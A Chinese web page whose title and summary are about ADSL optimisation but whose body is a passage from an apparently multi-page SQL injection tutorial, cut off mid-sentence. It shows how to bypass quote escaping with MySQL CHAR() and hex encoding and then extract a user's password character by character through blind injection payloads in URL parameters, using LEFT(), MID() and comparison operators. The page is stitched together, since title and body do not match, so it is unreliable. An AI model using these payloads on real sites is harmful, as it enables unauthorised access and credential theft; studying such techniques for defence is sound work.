手把手教你优化ADSL

来源:网络 作者:admin 阅读: 字体:[ ] [打印] [关闭]
自定义标签 wzsp 未创建

内容提要:ADSL的优化原理与普通Modem相同,同样是对操作系统的网络设置做修改,使操作系统网络设置上更能充分发挥其应有的效率。而修改主要是修改Maxmtu,也就是修改最大的TCP/IP数据包大小,在TCP/IP协议中,将要传输的数据分 ……

仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数了,举个简单的例子:

SELECT * FROM user WHERE username=''angel''


如何使$username不带引号呢?很简单我们这样提交就可以了。

SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制。
SELECT * FROM user WHERE username=0x616E67656C
# 0x616E67656C 相当于angel,十六进制。


其他函数大家自己去测试好了,但是前提就如上面所说的,我们可以构造的变量不被引号所包含才有意义,不然我们不管构造什么,只是字符串,发挥不了作用,比如前面猜密码的例子(user,php),我们把查询条件改为userid:

SELECT * FROM user WHERE userid=userid


按照正常的,提交:

http://127.0.0.1/injection/user.php?userid=1


就可以查询userid为1的用户资料,因为1是数字,所以有没有引号都无所谓,但是如果我们构造:

http://127.0.0.1/injection/user.php?user ... sp;password=mypass


绝对错误,因为mypass是字符串,除非提交:

http://127.0.0.1/injection/user.php?userid=1& ... word=''mypass''


由于magic_quotes_gpc打开的关系,这个是绝对不可能的。引号会变成/'',我们有什么办法可以把这些字符串变成整形数据吗?就是用CHAR()函数,如果我们提交:

http://127.0.0.1/injection/user.php?us ...  password=char(109,121,112,97,115,115)


正常返回,实践证明,我们用CHAR()是可行的,我们就把CHAR()用进LEFT函数里面逐位猜解!

http://127.0.0.1/injection/user.php? ... and LEFT(password,1)=char(109)


正常返回,说明userid为1的用户,password字段第一位是char(109),我们继续猜:

http://127.0.0.1/injection/user.php? ... and LEFT(password,2)=char(109,121)


又正常返回,说明正确,但这样影响到效率,既然是整形,我们完全可以用比较运算符来比较:

http://127.0.0.1/injection/user.php? ... and LEFT(password,1)>char(100)


然后适当调整char()里面的数字来确定一个范围,很快就可以猜出来,到了后面的时候,还是可以用比较运算符来比较:

http://127.0.0.1/injection/user.php? ... and LEFT(password,3)>char(109,121,111)


而原来已经猜好的不用改变了,很快就可以猜完:

http://127.0.0.1/injection/user.php? ... and LEFT(password,6)=char(109,121,112,97,115,115)


然后在mysql>命令提示符下或者在phpMyadmin里面执行:

select char(109,121,112,97,115,115)


就会返回:mypass


当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回  len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:

http://127.0.0.1/injection/user.php? ... and mid(password,3,1)=char(112)
http://127.0.0.1/injection/user.php? ... and mid(password,4,1)=char(97)


我们要的结果就迸出来了。当然,如果觉得麻烦,还可以用更简单的办法,就是利用ord()函数,具体作用可以去查看MYSQL参考手册,该函数返回的是整

上一页12345678910111213下一页
[标签: 手把手教你优化ADSL] [打印] [关闭]
站长评论(0) 查看所有评论
相关新闻

热门新闻

推荐新闻